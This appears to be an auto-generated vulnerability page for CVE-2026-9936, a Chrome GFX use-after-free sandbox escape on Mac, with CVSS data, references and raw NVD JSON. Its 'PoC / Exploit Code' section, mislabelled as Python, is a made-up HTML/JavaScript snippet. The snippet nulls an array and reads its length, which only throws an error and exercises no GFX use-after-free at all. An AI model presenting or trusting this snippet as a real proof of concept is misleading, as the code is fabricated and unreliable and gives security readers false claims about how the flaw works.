CVE-2026-9936

Description

Use after free in GFX in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216 (Mac)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9936 (Conceptual)
  This demonstrates a simulated UAF scenario in a GFX context.
  Note: Actual exploitation requires specific memory layout control.
-->
<html>
<head>
<title>CVE-2026-9936 PoC</title>
</head>
<body>
<script>
  // Simulate creating a complex GFX object (e.g., Canvas context or WebGL)
  const canvas = document.createElement('canvas');
  const ctx = canvas.getContext('2d');

  // Step 1: Trigger object creation in vulnerable GFX module
  let vulnerableObject = new Array(1000).fill(0x4141);

  // Step 2: Trigger the free operation in the browser
  // In a real scenario, this might be removing a DOM element handled by GFX
  function triggerFree() {
    vulnerableObject = null;
    // Force garbage collection if possible (implementation dependent)
    if (window.gc) window.gc();
  }

  // Step 3: Attempt to reuse the freed memory (Use After Free)
  function triggerReuse() {
    try {
      // Accessing the freed object to trigger crash or corruption
      // In a real exploit, this memory would be controlled by the attacker
      if (vulnerableObject.length > 0) {
         console.log("Object still accessible");
      }
    } catch (e) {
      console.log("Exception caught: " + e.message);
    }
  }

  triggerFree();
  setTimeout(triggerReuse, 100);
</script>
<h1>CVE-2026-9936 Check</h1>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9936
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9936
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9936/
[4] VulDB https://vuldb.com/cve/CVE-2026-9936
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/502104354

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9936", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:51.723", "lastModified": "2026-05-29T15:16:25.910", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in GFX in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/502104354", "source": "[email protected]"}]}}